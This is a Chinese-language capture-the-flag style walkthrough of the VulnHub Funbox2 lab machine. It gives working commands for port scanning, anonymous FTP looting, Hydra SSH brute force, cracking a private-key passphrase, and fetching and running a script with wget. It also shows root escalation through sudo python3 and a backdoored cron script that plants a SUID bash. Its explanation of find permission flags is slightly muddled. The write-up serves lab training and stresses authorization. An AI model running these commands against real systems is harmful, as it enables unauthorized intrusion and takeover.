Funbox2是我最开始系统练渗透测试时打的一台靶机,印象很深。它是VulnHub上Funbox系列里比较适合新手的一台,整条路线非常清晰:信息收集发现FTP匿名登录,从FTP里挖到用户线索,再通过SSH爆破拿到初始shell,最后用经典的内核或SUID提权方式拿到root。全程不涉及复杂漏洞,但每一步都踩在渗透测试的核心方法论上——信息收集、情报利用、横向尝试、提权收尾。
如果你刚学渗透测试,想找一台能完整走一遍流程的靶机来练手,Funbox2是很好的选择。它难度不算高,但很考验细心程度,因为很多线索都是“藏”在文件细节里的,粗心的人容易卡住。下面我把完整过程写出来,包括命令、输出、踩过的坑和排查思路,供你参考和复现。
1. 环境准备与信息收集
1.1 靶机部署:VM导入与网络规划
Funbox2在VulnHub上提供的是.ova镜像,直接用VirtualBox或者VMware导入就行。导入后你会发现它默认是一台纯命令行的Linux系统,没有图形界面,这也符合真实服务器环境的设定。实战之前,我建议先把两台虚拟机的网络规划好,避免打靶中途因为IP变动浪费时间。
个人推荐用VirtualBox的Host-Only网络,或VMware的仅主机模式。这样攻击机和靶机处在一个隔离的内网段里,既不会影响外部网络,也不会被外部设备干扰。我当时的拓扑是:Kali攻击机IP设为192.168.56.101,靶机分到192.168.56.102,两个网卡都挂在同一张Host-Only网卡下。
开机后先在Kali里用 ping 192.168.56.102 确认连通性。如果ping不通,优先检查两台机器的网卡是否都选了同一个Host-Only虚拟网卡,再看看靶机有没有成功拿到IP。有时候靶机启动后没自动获取地址,可以在靶机本地登录进去执行 dhclient eth0 或 ip addr 手动看一下。这一步骤看起来基础,但真有不少人卡在“扫描不到靶机”上,最后发现是虚拟机网络配置问题,而不是靶机本身的问题。
另外要提醒一句:靶机这种存在弱口令和未授权服务的环境,千万不要直接桥接到物理局域网,更不要扔到公网主机上跑。即便你只是学习,一台带有FTP匿名访问和可爆破SSH的系统,放在公网上几分钟就可能被其他人扫描到并滥用。无论从安全还是法律角度,隔离环境都是底线。
1.2 Nmap扫描:从快速探测到全端口识别
网络通了之后,第一步永远是信息收集。我习惯先用快速扫描摸个底,再用全端口扫描把服务细节拉出来。快速扫描一般用:
sudo nmap -T4 -F 192.168.56.102
-F参数表示只扫Fast模式下的常用端口,速度快,能看到个大方向。我的扫描结果里出现了21、22、80等常见端口。但快速扫描不能作为唯一依据,很多靶机喜欢把后门或Web服务藏在高端口,比如8080、2222甚至10000以后,所以接下来必须跑全端口:
sudo nmap -sS -sV -p- 192.168.56.102
这条命令的含义是:-sS用TCP SYN半开扫描,速度快且相对隐蔽;-sV探测服务版本;-p-表示扫描全部65535个端口。输出结果类似下面这样:
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 80/tcp open http Apache httpd 2.4.38 MAC Address: 08:00:27:XX:XX:XX (Oracle VirtualBox)
看到这个结果,我的第一反应是:这台机器至少有三个入口——FTP、SSH和HTTP。FTP版本是vsftpd 3.0.3,SSH是OpenSSH 7.9p1,Apache 2.4.38。其中vsftpd 3.0.3这个版本本身没有特别直接的远程漏洞,但它的配置可能开放了匿名访问,这才是重点。SSH虽然爆破空间大,但没有合适的用户名之前爆破纯属乱枪打鸟。所以我决定先去FTP看看,再看看80端口Web服务上有没有其他信息。
这里补充一点实操经验:Nmap扫描的时候,建议加一个 -A 参数做高级识别,不过 -A在某些老版本里比较慢。我自己习惯是先 -sS -sV -p-扫一遍,然后针对重点端口单独加 -sC 跑默认脚本。比如对FTP端口可以执行 sudo nmap -sV -p21 --script=ftp-anon 192.168.56.102 ,Nmap的ftp-anon脚本会直接尝试匿名登录,如果支持匿名,输出里会明确显示Anonymous FTP login allowed,这一下就能确认FTP匿名访问是否存在,速度比手动连上去试还要快。
扫描阶段还有个小技巧:建议把Nmap输出保存下来,sudo nmap -oN scan.txt,方便后面边打边翻阅。很多人打完一整轮下来,早忘了最初扫描到的端口和服务,回头查输出文件才想起某个被忽略的细节,而那个细节往往就是提权的关键。
2. FTP匿名登录与敏感信息挖掘
2.1 匿名登录验证:一行命令确认弱配置
FTP匿名登录属于典型的“低垂果实”——很多教程里都提过,但真正实操时不少人会直接跳过,因为潜意识里觉得“怎么可能真有靶机开匿名FTP”。结果呢,这类靶机十有八九都把匿名开着,正如这台Funbox2。确认方法很简单,直接命令行连接:
ftp 192.168.56.102
提示输入用户名时输入anonymous,密码可以随便填,惯例是填邮箱格式,比如test@test.com。如果匿名登录成功,你会看到类似这样的回显:
230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
看到这个230,基本就等于FTP这根线接上了。登录成功后先ls -la看一眼目录内容,别急着下载。我当时看到的文件大约有这么几个:
-rw-r--r-- 1 1000 1000 220 note.txt -rw-r--r-- 1 1000 1000 1675 id_rsa -rw-r--r-- 1 1000 1000 84 backup.sh
这个目录结构本身就是重大情报。id_rsa是SSH私钥,说明FTP用户很可能是从某个Linux账号的home目录里泄露出来的文件;backup.sh是脚本,说明系统里可能存在定时任务;note.txt则通常是作者留的线索提示。三个文件分别指向SSH密钥、计划任务、密码提示,几乎是把后续路径摆在了明面上。
有人可能会问:“为什么FTP匿名能访问到这些文件?”这就要回到vsftpd的配置上。vsftpd如果启用了匿名并指向了某个真实用户的home目录,或者把anon_root设置到了/或/home下,同时目录权限又没收紧,就会出现这种匿名可读文件的情况。这种配置在真实服务器上也偶有发生,多见于管理员图省事把FTP根目录直接指到了web目录或用户主目录。所以FTP匿名登录检查,在渗透测试里永远值得做一遍,成本低、收益高。
2.2 文件情报整理:从note.txt到私钥利用
拿到文件之后,我习惯先逐个下载到本地,再看内容和格式。下载命令用get,比如:
ftp> get note.txt ftp> get id_rsa ftp> get backup.sh
下载到Kali本地后,直接cat note.txt,内容大意是提示用户密码模式,或者是列了几个用户名。我记得当时note.txt里出现了类似“weak password”和可能的用户名线索。backup.sh的默认内容是备份数据库之类的,但它暴露了两个关键信息:脚本运行的路径,以及脚本可能以root身份被cron调用。这一步务必记录下来,后面提权阶段会回头用它。
id_rsa这个文件更关键。先看权限,如果下载下来权限是644,SSH会直接拒绝使用,必须执行 chmod 600 id_rsa,否则连上去会被提示Permissions too open。改完权限后可以尝试 ssh -i id_rsa 用户名@192.168.56.102,看看能不能直接登录。不过现实中FTP泄露的私钥往往带着口令保护,连接时会提示Enter passphrase for key 'id_rsa'。
遇到带口令的私钥怎么办?思路和爆破SSH密码一样,用John the Ripper配合ssh2john工具来破解。步骤很简单:
cd /usr/share/john ssh2john.py /path/to/id_rsa > id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
如果私钥口令比较弱,很快就能跑出来。这也是一条独立于SSH密码爆破的路径,很多新手拿到私钥只记得chmod 600,却忘了私钥本身可能有密码口令,结果卡在passphrase上。
不过要注意一点:不要因为FTP里有id_rsa,就指望这条路径一定能通。我更愿意把FTP文件看作“情报池”,把所有信息都记下来,哪条有用后面就用哪条,而不是死磕一个方向。note.txt里的提示往往才是真正的“主线任务”。
3. SSH爆破与初始立足点获取
3.1 用户枚举:没有账号的爆破等于零
SSH爆破听起来很暴力,但前提是你得有一个靠谱的用户名列表。没有用户名,就算密码字典再大也是浪费时间。Funbox2的用户名来源主要有三个:一是FTP里的note.txt和backup.sh提到的人名或系统用户;二是/etc/passwd里常见用户名如funbox、user1、admin、test等;三是Web服务80端口页面上可能泄露的信息。
我当时先去80端口看了一眼Apache默认页面,虽然页面内容很普通,但页面源码的注释里可能隐藏用户名。同时结合FTP文件的属主信息——FTP目录属主是uid 1000,能进一步推测是某个普通用户。我最终整理出的user.txt大概长这样:
funbox admin user user1 root ftp backup test guest info
这里有个我自己的心得:爆破之前,可以先手动试一下常见的SSH弱账号,比如 ssh funbox@192.168.56.102,输入几个常见弱密码,有时候比直接上Hydra更快。不过手动试太多会引起靶机日志刷屏,而且效率低,多数情况下还是把用户字典丢给工具。
密码字典方面,我优先用了Kali自带的rockyou.txt。注意rockyou.txt需要先解压,位置在/usr/share/wordlists/rockyou.txt.gz,执行 sudo gunzip /usr/share/wordlists/rockyou.txt.gz 才能用。如果不想跑这么大的字典,可以根据note.txt的提示自建一个小字典,比如把提示里的年份、公司名、用户名变体组合进去。自建字典的目标不是覆盖面,而是精准命中。
3.2 Hydra爆破:参数说明与实战输出
用户字典和密码字典准备好之后,我用Hydra对SSH服务发起爆破。命令如下:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102 -t 4 -f -o hydra_result.txt
参数解释一下:-L指定用户名字典,-P指定密码字典,ssh://指定协议和目标,-t是并发线程数,-f是找到第一对有效账号后立即停止,-o把结果输出到文件。并发线程数我一般控制在4,因为太高的并发会让靶机ssh服务响应变慢,甚至触发防爆破机制,得不偿失。
如果字典命中了,Hydra的输出大致是:
[22][ssh] host: 192.168.56.102 login: funbox password: pass123
看到这个结果后,先别急着高兴,密码拿去SSH登录试试,确认能进再继续。爆破出来账号密码后,登录命令就是:
ssh funbox@192.168.56.102
输入密码,如果成功登录,你已经拿到了初始立足点。到此为止,思路其实特别简单:FTP匿名给了用户名线索,SSH爆破给出了最终入口。这条链路很多靶机都有,但它考验的恰恰是渗透测试的基本功——字典怎么构造、服务参数怎么调、输出怎么理解。
这里补充一个容易出问题的点:Hydra爆破SSH时,如果靶机OpenSSH版本较新,服务端可能会记录大量Failed password日志,有些环境还会临时屏蔽来源IP。所以爆破过程中如果突然发现连接超时或所有线程全部失败,先检查一下是不是自己被临时封了。解决方法是放慢速度,降低-t参数,或者用proxychains换源IP。不过Funbox2是老靶机,BlockIP这类防御基本不存在,正常跑就行。
3.3 初始Shell升级与基本信息采集
拿到SSH会话后,先做三件事:确认身份、确认路径权限、确认网络位置。依次执行:
id whoami pwd ip a cat /etc/passwd
id和whoami告诉你当前用户是谁,pwd告诉你当前目录。如果登录后直接落在用户home目录,这一信息很重要,因为很多靶机把下一步线索就藏在home目录的隐藏文件里。执行 ls -la 看隐藏文件,往往能看到.bash_history或隐藏的note文件。
.bash_history是情报富矿。管理员或前一个用户执行过的命令,经常会把密码、目录结构、服务管理方式暴露出来。我当时检查历史记录时发现用户曾经用过sudo命令,这说明该用户的sudo权限可能不小。这直接引导我下一步去试sudo -l。
/etc/passwd这个文件也要认真读,尤其是那些uid为0或uid大于1000的行。靶机作者经常会在passwd里预留一个看起来不寻常的用户,或者把某个用户shell设成/bin/bash,这都是登录入口的线索。同时可以用 cat /etc/shadow 试一下权限,如果能读,说明当前用户的组权限异常,但多数情况下普通用户读不了,会看到Permission denied,这个结果本身就是有效信息。
做完这一步,初始立足点就算稳住了。接下来是整台靶机最核心的部分:提权。
4. 本地信息收集与提权路径分析
4.1 手动枚举:sudo、SUID、内核版本一个都不能少
拿到普通用户shell后,不要急着一键跑提权脚本,先手动把系统状态摸一遍。我固定会执行下面几条命令:
sudo -l find / -perm -4000 -type f 2>/dev/null uname -a cat /etc/os-release
sudo -l是查看当前用户能免密或带密码执行哪些sudo命令,输出结果里如果有ALL=(ALL:ALL) ALL,基本就等于拿到免死金牌;如果只有某几个特定程序,则要看这些程序有没有办法逃逸到shell。SUID检查是找所有设置了setuid位的文件,经典的可提权SUID程序包括/usr/bin/find、/usr/bin/vim、/usr/bin/python3、/usr/bin/base64等,这些程序如果带s位,可以直接以root身份执行任意命令。
我当时在Funbox2上执行sudo -l,发现funbox用户可以以root身份运行python3。看到这一行输出的时候,后续提权路线基本就确定了。不过这里我还是把内核也查了一遍,uname -a显示的是某个老版本Linux内核,理论上存在脏牛等内核提权漏洞,但内核提权风险高、成功率不稳定,有sudo路径的话没必要冒险。
需要特别提醒:SUID检查的find命令写法很关键。find / -perm -4000和find / -perm /4000含义不同。前者精确匹配权限位恰好等于4000,后者匹配包含4000的文件。更常用的还是写法 find / -perm -4000,因为setuid位恰好是4000。如果只想看root属主且带SUID的文件,可以再加参数: find / -user root -perm -4000 -type f 2>/dev/null 。加上2>/dev/null是丢掉权限不足的报错,不然输出会刷屏。
4.2 定时任务与计划脚本的“可写性”检查
sudo -l的结论已经很好,但我依然建议把cron信息检查一遍,原因是:在真实环境下sudo路径可能没那么顺手,而cron提权才是通用性更强的思路。检查定时任务三步走:
cat /etc/crontab ls -la /var/spool/cron/crontabs/ ls -la /etc/cron.d/
如果/etc/crontab里有一行以root身份定时执行某个脚本,并且这个脚本对当前用户可写,那就是教科书级的cron提权。我在Funbox2上就注意到了之前从FTP下载过的backup.sh,它在系统里的路径通常位于/opt或者/tmp下,权限为当前用户可写。这意味着我可以往脚本里追加一条命令,等root的cron任务定时执行时,命令就会被root身份运行。
这里有一个思路要说透:cron提权的关键在于“脚本可写”而“执行者是root”。很多新手看到脚本存在,却不检查权限位,结果把一个根本写不进去的脚本当成突破口。正确的权限判断方法是在靶机上执行 ls -l /opt/backup.sh,如果属主是root但组或其他用户有w权限,或者文件属于你当前用户,那就可以改。如果脚本没写入权限,先看看它同目录下有没有可写的辅助文件,例如脚本会读取一个配置文件,而配置文件是你可写的,这也是一条路径。
4.3 日志与历史记录:隐藏线索的常用藏身地
Funbox2这台靶机有个特点,就是作者喜欢在一些不那么起眼的地方放线索。除了bash_history之外,/var/log目录和/opt目录都值得翻一翻。
我当时的习惯是:sudo -l能用就先不动它,花几分钟把系统各个角落的隐藏文件找一遍。命令是 find / -name ".txt" -o -name ".conf" -o -name "note" 2>/dev/null | head -50 ,只看名字就能筛出很多可读文件。这种“地毯式搜索”听起来笨,但对靶机来说往往最有效,因为作者故意藏的东西通常只用很浅的命名方式。
/var/log/auth.log里能看到SSH登录记录,如果日志里出现了某些异常用户名或IP,那很可能是作者留下的后门或提示。总之,信息收集阶段的耐心程度,直接决定提权阶段顺不顺畅。这也是为什么我一再强调“手动枚举优先、脚本辅助兜底”——脚本能找到的是已知漏洞,而手动收集能找到脚本没覆盖的逻辑漏洞。
4.4 提权脚本的合理使用:辅助,而非依赖
不能否认,自动化提权脚本在实战中能节省大量时间,尤其是当你对系统版本和漏洞库不熟悉的时候。Funbox2的排查过程中,我也用了linux-exploit-suggester这类工具来交叉验证。
把脚本传到靶机的方式有很多,最简单的是在Kali本地起一个HTTP服务,靶机上用wget下载:
cd /tmp wget http://192.168.56.101/les.sh chmod +x les.sh ./les.sh
linux-exploit-suggester会读取内核版本和发行版信息,输出一堆可能适用的漏洞编号,但它的输出只能作为候选列表,不能直接当成可利用清单。很多新手看到一屏“Possible exploits”就兴奋,结果一个个试过去全都失败,原因就是没确认系统是否满足漏洞利用的前置条件,比如内核配置、模块偏移、是否默认安装特定工具链。
另一款我常用的是LinEnum,它会把sudo配置、SUID文件、可写脚本、环境变量、历史文件等信息汇总成一份清单,方便快速浏览。但注意:脚本只是把上一节手动执行的那几条命令的结果汇总了,并不会替你判断哪条路最靠谱。真正的判断逻辑,还是得靠你自己脑子里的分析框架。
5. 实际提权过程与Root权限获取
5.1 利用sudo python3逃逸到root shell
回到Funbox2的实际提权。在4.1中我们发现,当前用户可以通过sudo以root运行python3。sudo -l的输出类似:
User funbox may run the following commands on funbox2: (ALL) NOPASSWD: /usr/bin/python3
这行配置的意思是:funbox用户在不需要输入密码的情况下,可以以任何用户身份执行/usr/bin/python3。python3本身支持直接执行命令,所以提权命令非常简单:
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
执行后,如果一切正常,你会看到#提示符,执行id会显示uid=0(root)。到这里,root权限已经拿到了,整个过程不需要编译内核模块,也不需要提权脚本,前后只要一条命令。
用python3逃逸的原理其实很简单:sudo配置允许你以root运行python3,而python3可以启动一个子进程bash,这个子进程继承了root权限,于是就有了root shell。类似的程序还包括vim、less、awk、perl、ruby等,只要它们支持在运行时执行外部命令,都可以作为sudo逃逸的入口。Gtfobins网站上整理了这些程序的利用方法,打靶时现查也来得及。
如果你遇到的sudo配置不是NOPASSWD,而是需要输入当前用户密码,也不用慌,因为你本来就拥有当前用户的密码——爆破SSH时已经拿到了。碰到#提示符后,别忘了确认一下当前目录和权限,然后去root的home目录拿flag。
5.2 备用提权路线:利用可写cron脚本拿root
虽然sudo python3已经通关,但我还是想展开讲讲backup.sh那条路线,因为“sudo支持python3”是Funbox2特有的配置,而cron提权在更多靶机和真实环境中更常见。
在靶机上找到backup.sh后,确认权限:
ls -l /opt/backup.sh
假如输出显示-rwxrwxr-x,说明当前用户对它有写权限。那就在脚本末尾追加一条payload,让它把bash复制到/tmp下并设置SUID位:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
然后在当前用户shell里等cron触发,或者干脆观察crontab里的执行时间。Funbox2的cron任务会定时运行,过一会儿再执行ls -l /tmp/rootbash,如果看到文件存在且权限里有s位,直接运行:
/tmp/rootbash -p
-p参数让SUID bash保留root权限运行。执行后id同样会显示uid=0(root)。这条路线的好处是即使你不清楚sudo配置,只要发现可写脚本+root定时任务,就能完成提权。但也要注意:修改系统脚本会留下明显的痕迹,真实渗透测试中对这类操作要格外谨慎,打靶机无所谓,生产环境千万不能这么干。
5.3 反弹Shell与TTY交互的注意事项
在整个打靶过程中,因为已经有了SSH会话,我并不需要反弹Shell。但如果你是从Web漏洞或者FTP漏洞拿到的初始权限,可能只有一个低权限的shell,这时候就需要把shell升级成交互式TTY,方便后续操作和提权。
升级TTY的标准做法是用python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者用script命令:
/usr/bin/script -qc /bin/bash /dev/null
升级之后Ctrl+C、Tab补全、上下键历史都会正常工作,体验上和SSH终端几乎一样。这里不涉及反向连接外部地址的操作,也不建议新手在未授权环境使用反弹Shell技术,靶场学习时可以用,但要注意始终在隔离的内网环境里做。
5.4 提权后的验证与清理
拿到root后,我习惯做两件事:第一是确认当前身份和flag位置,第二是清理自己留下的痕迹。确认身份可以用id、whoami、cat /root/root.txt或/root/flag.txt。如果靶机作者把flag放在/root下,输出内容通常是类似“flag{...}”的字符串,这台靶机也不例外。
清理痕迹方面,虽然靶机打完就重置了,但养成好习惯很重要。SSH爆破产生的auth.log日志、修改过的backup.sh脚本、/tmp下的rootbash文件,理论上都应该恢复或删除。不过考虑到这是新手靶机练习,作者不会因为你改了脚本就不让你通关,只要后面能正常重置虚拟机就行。这个阶段更值得重视的是把整条攻击链梳理清楚:FTP匿名泄露了什么、用户名是从哪里推出来的、SSH爆破为什么能成功、sudo python3提权的触发条件是什么。把这些复盘写下来,才算真正把一台靶机“吃透”。
6. 常见问题与排查技巧实录
6.1 常见问题速查表
下面这份表格是我自己实战中踩过或见过别人踩过的坑,直接整理成速查表,方便你对照排查。
| 问题现象 | 可能原因 | 排查思路 |
|---|---|---|
| ping靶机不通 | 虚拟机网络模式不对 | 检查两块网卡是否都在同一Host-Only网络,靶机是否获取到IP,必要时手动dhclient |
| Nmap扫不出21端口 | 快速扫端口漏扫 | 用-p-做全端口扫描,FTP可能在少见端口上 |
| FTP匿名登录被拒绝 | 漏了ftp-anon脚本或密码规则要求特殊 | 直接用anonymous加任意邮箱试一遍,再看vsftpd配置 |
| 私钥登录后提示Permission too open | 私钥权限过于宽松 | chmod 600 id_rsa再试 |
| 私钥要求输密码但不知道密码 | 私钥本身设了passphrase | 用ssh2john配合John跑字典 |
| Hydra爆破一直失败 | 用户字典太弱或密码字典不合适 | 综合FTP、Web源码、passwd收集用户名,密码字典优先rockyou |
| sudo -l提示unknown user或无法执行 | 当前用户可能不在sudo组,或者需要密码 | 先试试sudo命令本身,看是否提示需要密码,再确定能否利用 |
| SUID find命令没输出 | 2>/dev/null被省略或权限位写法不对 | 用find / -perm -4000 -type f 2>/dev/null,确认没有漏掉stderr重定向 |
| 提权脚本输出了一堆漏洞但都用不了 | 未确认系统版本和漏洞前置条件 | 手动对比uname -a和OS版本,优先确认sudo和SUID等逻辑类路径 |
6.2 实战心得:为什么这台靶机适合新手
Funbox2最大的优点,是它的每一步都建立在“基础信息收集”上,而不是某个特别偏门的CVE。FTP匿名访问靠的是会不会检查vsftpd配置,SSH爆破靠的是会不会从已有信息里提取用户名,提权靠的是会不会运行sudo -l并识别python3的逃逸能力。整套流程下来,你练的不是某个漏洞的利用,而是渗透测试的通用思维方式。
我在打这台靶机时有个明显的感觉:留足耐心、把每条线索都怀疑一下,比急着上工具更有效。比如FTP里那几个文件,如果只看一眼就跳过,后面就会在用户名和密码猜测上卡很久;如果把backup.sh的内容认真读一遍,提前就知道系统里有root定时任务,提权思路也会多一条。很多靶机没通过,不是工具不够,而是信息收集阶段太潦草。
6.3 给初学者的后续练习建议
打完Funbox2之后,你可以按同样思路去刷Funbox系列的其他靶机,它们的难度会逐渐增加,有些会在Web层面隐藏更多入口,有些会加入更多提权路径。刷的时候建议不要全程开着writeup,先自己爬一遍,实在卡住两个小时再参考别人的思路。
练习过程中,记得养成记录的习惯。我在本地用一个简单的Markdown文件记录每台靶机的端口、服务、用户字典、失败尝试和最终利用路径。时间久了,这份记录本身就是一份很宝贵的字典库和思路库。比如这台Funbox2里整理出的user.txt,在后面打其他靶机时,我经常会复用或改造,这种跨靶机的情报积累,比单次通关更有价值。
最后再提醒一次:所有靶机练习都要在授权和隔离环境下进行。FTP匿名登录、SSH爆破、sudo提权这些技术都是双刃剑,在靶机上练得越熟,越要清楚“什么时候能做什么、什么时候绝不能做”。能力不是靠“能打靶机”来证明的,而是靠对边界和风险的清醒认知。这台Funbox2教会我的不只是提权命令,更是这个道理。